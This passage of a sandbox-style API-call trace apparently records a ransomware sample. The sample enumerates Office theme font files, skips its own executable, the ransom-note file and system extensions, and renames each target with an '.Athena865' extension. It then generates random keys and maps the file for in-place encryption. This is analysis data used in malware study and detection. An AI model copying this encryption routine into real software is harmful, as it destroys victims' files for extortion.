(HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.693] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.693] CloseHandle (hObject=0x17c) returned 1 [0137.694] CloseHandle (hObject=0x154) returned 1 [0137.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.694] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0137.694] lstrcmpiW (lpString1="Module.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.694] lstrcmpiW (lpString1="Module.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.694] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Module.xml" | out: lpString1="Module.xml") returned="Module.xml" [0137.694] lstrlenW (lpString="Module.xml") returned 10 [0137.694] lstrlenW (lpString="Athena865") returned 9 [0137.694] lstrcmpiW (lpString1="odule.xml", lpString2="Athena865") returned 1 [0137.694] lstrlenW (lpString=".dll") returned 4 [0137.694] lstrcmpiW (lpString1="Module.xml", lpString2=".dll") returned 1 [0137.694] lstrlenW (lpString=".lnk") returned 4 [0137.694] lstrcmpiW (lpString1="Module.xml", lpString2=".lnk") returned 1 [0137.694] lstrlenW (lpString=".ini") returned 4 [0137.694] lstrcmpiW (lpString1="Module.xml", lpString2=".ini") returned 1 [0137.694] lstrlenW (lpString=".sys") returned 4 [0137.694] lstrcmpiW (lpString1="Module.xml", lpString2=".sys") returned 1 [0137.694] lstrlenW (lpString="Module.xml") returned 10 [0137.695] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.Athena865") returned 85 [0137.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.athena865"), dwFlags=0x1) returned 1 [0137.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.697] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3589) returned 1 [0137.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.697] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.698] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.698] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.698] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x17c [0137.700] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000 [0137.700] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.701] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.701] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.702] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.702] CloseHandle (hObject=0x17c) returned 1 [0137.702] CloseHandle (hObject=0x154) returned 1 [0137.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.702] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0137.702] lstrcmpiW (lpString1="Newsprint.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.702] lstrcmpiW (lpString1="Newsprint.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.703] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Newsprint.xml" | out: lpString1="Newsprint.xml") returned="Newsprint.xml" [0137.703] lstrlenW (lpString="Newsprint.xml") returned 13 [0137.703] lstrlenW (lpString="Athena865") returned 9 [0137.703] lstrcmpiW (lpString1="print.xml", lpString2="Athena865") returned 1 [0137.703] lstrlenW (lpString=".dll") returned 4 [0137.703] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".dll") returned 1 [0137.703] lstrlenW (lpString=".lnk") returned 4 [0137.703] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".lnk") returned 1 [0137.703] lstrlenW (lpString=".ini") returned 4 [0137.703] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".ini") returned 1 [0137.703] lstrlenW (lpString=".sys") returned 4 [0137.703] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".sys") returned 1 [0137.703] lstrlenW (lpString="Newsprint.xml") returned 13 [0137.703] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.Athena865") returned 88 [0137.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.athena865"), dwFlags=0x1) returned 1 [0137.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.705] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3641) returned 1 [0137.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.706] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.706] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.706] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1140, lpName=0x0) returned 0x17c [0137.707] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1140) returned 0x100000 [0137.708] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.709] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.709] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.710] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.710] CloseHandle (hObject=0x17c) returned 1 [0137.710] CloseHandle (hObject=0x154) returned 1 [0137.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.710] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0137.710] lstrcmpiW (lpString1="Office 2.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.710] lstrcmpiW (lpString1="Office 2.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.710] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Office 2.xml" | out: lpString1="Office 2.xml") returned="Office 2.xml" [0137.710] lstrlenW (lpString="Office 2.xml") returned 12 [0137.710] lstrlenW (lpString="Athena865") returned 9 [0137.710] lstrcmpiW (lpString1="ice 2.xml", lpString2="Athena865") returned 1 [0137.710] lstrlenW (lpString=".dll") returned 4 [0137.710] lstrcmpiW (lpString1="Office 2.xml", lpString2=".dll") returned 1 [0137.710] lstrlenW (lpString=".lnk") returned 4 [0137.710] lstrcmpiW (lpString1="Office 2.xml", lpString2=".lnk") returned 1 [0137.710] lstrlenW (lpString=".ini") returned 4 [0137.711] lstrcmpiW (lpString1="Office 2.xml", lpString2=".ini") returned 1 [0137.711] lstrlenW (lpString=".sys") returned 4 [0137.711] lstrcmpiW (lpString1="Office 2.xml", lpString2=".sys") returned 1 [0137.711] lstrlenW (lpString="Office 2.xml") returned 12 [0137.711] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.Athena865") returned 87 [0137.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.athena865"), dwFlags=0x1) returned 1 [0137.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.712] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3605) returned 1 [0137.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.713] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.713] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.713] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.713] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.715] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.716] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.716] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.717] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.717] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.717] CloseHandle (hObject=0x17c) returned 1 [0137.717] CloseHandle (hObject=0x154) returned 1 [0137.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.718] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="OFFICE~3.XML")) returned 1 [0137.718] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.718] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.718] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Office Classic 2.xml" | out: lpString1="Office Classic 2.xml") returned="Office Classic 2.xml" [0137.718] lstrlenW (lpString="Office Classic 2.xml") returned 20 [0137.718] lstrlenW (lpString="Athena865") returned 9 [0137.718] lstrcmpiW (lpString1="sic 2.xml", lpString2="Athena865") returned 1 [0137.718] lstrlenW (lpString=".dll") returned 4 [0137.718] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2=".dll") returned 1 [0137.718] lstrlenW (lpString=".lnk") returned 4 [0137.718] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2=".lnk") returned 1 [0137.718] lstrlenW (lpString=".ini") returned 4 [0137.718] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2=".ini") returned 1 [0137.718] lstrlenW (lpString=".sys") returned 4 [0137.718] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2=".sys") returned 1 [0137.718] lstrlenW (lpString="Office Classic 2.xml") returned 20 [0137.718] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.Athena865") returned 95 [0137.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.athena865"), dwFlags=0x1) returned 1 [0137.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.722] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3585) returned 1 [0137.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.722] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.723] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.723] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.723] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x17c [0137.724] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000 [0137.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.726] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.726] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.726] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.727] CloseHandle (hObject=0x17c) returned 1 [0137.727] CloseHandle (hObject=0x154) returned 1 [0137.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.727] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0137.727] lstrcmpiW (lpString1="Office Classic.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.727] lstrcmpiW (lpString1="Office Classic.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.727] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Office Classic.xml" | out: lpString1="Office Classic.xml") returned="Office Classic.xml" [0137.727] lstrlenW (lpString="Office Classic.xml") returned 18 [0137.727] lstrlenW (lpString="Athena865") returned 9 [0137.727] lstrcmpiW (lpString1="assic.xml", lpString2="Athena865") returned -1 [0137.727] lstrlenW (lpString=".dll") returned 4 [0137.727] lstrcmpiW (lpString1="Office Classic.xml", lpString2=".dll") returned 1 [0137.727] lstrlenW (lpString=".lnk") returned 4 [0137.727] lstrcmpiW (lpString1="Office Classic.xml", lpString2=".lnk") returned 1 [0137.727] lstrlenW (lpString=".ini") returned 4 [0137.727] lstrcmpiW (lpString1="Office Classic.xml", lpString2=".ini") returned 1 [0137.728] lstrlenW (lpString=".sys") returned 4 [0137.728] lstrcmpiW (lpString1="Office Classic.xml", lpString2=".sys") returned 1 [0137.728] lstrlenW (lpString="Office Classic.xml") returned 18 [0137.728] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.Athena865") returned 93 [0137.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.athena865"), dwFlags=0x1) returned 1 [0137.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.729] GetFileSizeEx 